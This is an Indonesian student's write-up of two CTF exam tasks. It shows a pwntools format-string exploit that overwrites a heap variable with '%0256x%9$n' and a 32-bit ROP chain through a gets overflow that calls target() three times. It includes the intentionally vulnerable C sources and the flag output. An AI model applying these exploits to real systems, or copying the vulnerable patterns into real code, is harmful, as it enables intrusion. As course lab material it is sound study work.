UTS

Soal 2

melihat dari code yang diberikan yaitu sebagai berikut:

```c
#include<stdio.h>
#include<stdlib.h>

int main(int argc, char const *argv[])
{
   setvbuf(stdout, NULL, _IONBF, 0);

   char buf[20];
   int* var = malloc(10);
   *var = 5;

   printf("My address: %lp\n", var);
   printf("Masukan password: ");

   fgets(buf, 20, stdin);
   printf(buf);

   if(*var == 0x100)
       system("cat flag.txt");
   else
       puts("Failed!");

   return 0;
}
```

dari code di atas dapat dianalisis bahwa terdapat vulnerability pada printf yaitu parameter pertamanya diassign pada suatu variabel langsung. Selanjutnya saya membuat payload untuk dapat mengubah variabel var menjadi 0x100 yaitu 256 dalam desimal. Selanjutnya saya perlu tau berapa buffer yang perlu diisi untuk sampai addres yang kita definisikan pada payload

Saya mencoba mulai dari angka 1 hingga menemukan pada angka 9, address menunjukkan pada payload yang saya buat

```
Darells-MacBook-Pro:UTS darell$ nc ctf99x.cs.ui.ac.id 10002
My address: 0x57ece160
Masukan password: AAAA%x
AAAA14
Failed!
```

selanjutnya saya mencoba sampai ditemukan angka 9

```
Darells-MacBook-Pro:UTS darell$ nc ctf99x.cs.ui.ac.id 10002
My address: 0x57973160
Masukan password: AAAA%9%x
AAAA57973160
Failed!
```

pada angka 9 address menunjukkan sama seperti address yang diberikan. dengan begitu saya menyusu script sebagai barikut:

```
from pwn import *


r = remote('ctf99x.cs.ui.ac.id', 10002)
# r = process('./soal2')


r.recvuntil('My address: ')
addr = int(r.recv(10),16)
# print(address)
payload = '%0256x%9$n'
print(payload)
print(p32(addr))
print(hex(addr))
r.sendline(payload)
with open('payload', 'w') as out:
   out.write(payload)


r.interactive()
```

dan didapat flag:
CSIE604270{FormFormForForForString}

Soal 4

diberikan file binary 32-bit dan file scriptnya sebagai berikut:

```
#include<stdio.h>
#include<stdlib.h>

FILE* fp;
char* buf;

void target(int p1, int p2)      {
        if(p1 == 0x12345678 && p2 == 0x87654321) {
                puts("Flag.txt opened!");
                fp = fopen("flag.txt", "r");
        }
        else if(p1 == 0xaabbccdd && p2 == 0x11223344)    {
                puts("Flag read!");
                fgets(buf, 200, fp);
        }
        else if(p1 == 0x03030808 && p2 == 0x31310404)    {
                puts("Here you go!");
                printf("%s\n", buf);
        }
}

void vuln()     {
        puts("Good luck~");
        char buf[8];
        gets(buf);
}

void init()     {
        // Jangan panggil fungsi ini lebih dari sekali!
        setvbuf(stdout, NULL, _IONBF, 0);
        buf = malloc(200);
}

int main(int argc, char const *argv[])
{

        init();
        puts("Kali ini tujuannya mengubah return address beberapa kali untuk panggil fungsi target
beberapa kali dengan parameter berbeda2");

        vuln();
        return 0;
}
```

Setelah dianalisis kita perlu memanggil fungsi target dengan paramter yang diganti secara bergantian agar File flag dapat diprint oleh program.

Pertama saya mencari ROPgadget untuk menyusun payload dalam pemanggilan fungsi dengan dua parameter. Untuk itu saya memilih ROPgadget yang bisa pop sebanyak parameter lalu ret.

```
root@d1a754ccfd14:/src# ROPgadget --binary=rop_advanced.dms | grep pop
0x080493e2 : pop edi ; pop ebp ; ret
```

mencari address target:

```
root@d1a754ccfd14:/src# objdump -d rop_advanced.dms | grep target
080491c6 <target>:
```

setelah mendapatkan address yang dibutuhkan, selanjutnya kita menyusunnya seperti di bawah ini:

```
target_addr = 0x080491c6
p1 = 0x12345678
p2 = 0x87654321
p11 = 0xaabbccdd
p22 = 0x11223344
p111 = 0x03030808
p222 = 0x31310404
ret = 0x0804900e
pop_pop_ret = 0x080493e2

payload = b"A"*16
payload += b'BBBB'
payload += p32(target_addr)
payload += p32(pop_pop_ret)
payload += p32(p1)
payload += p32(p2)
payload += p32(target_addr)
payload += p32(pop_pop_ret)
payload += p32(p11)
payload += p32(p22)
payload += p32(target_addr)
payload += p32(pop_pop_ret)
payload += p32(p111)
payload += p32(p222)
```

menjakan script python tersebut.

```
(base) Darells-MBP:Downloads darell$ python exploit_rop.py
[+] Opening connection to ctf99x.cs.ui.ac.id on port 9129: Done
[*] Switching to interactive mode
Kali ini tujuannya mengubah return address beberapa kali untuk panggil fungsi target beberapa kali
dengan parameter berbeda2
Good luck~
Flag.txt opened!
Flag read!
Here you go!
CSIE604270{Common_trick_used_in_ROP_nanti_untuk_ROP_64_bit_sama_ret2libc_berguna_sangat}
```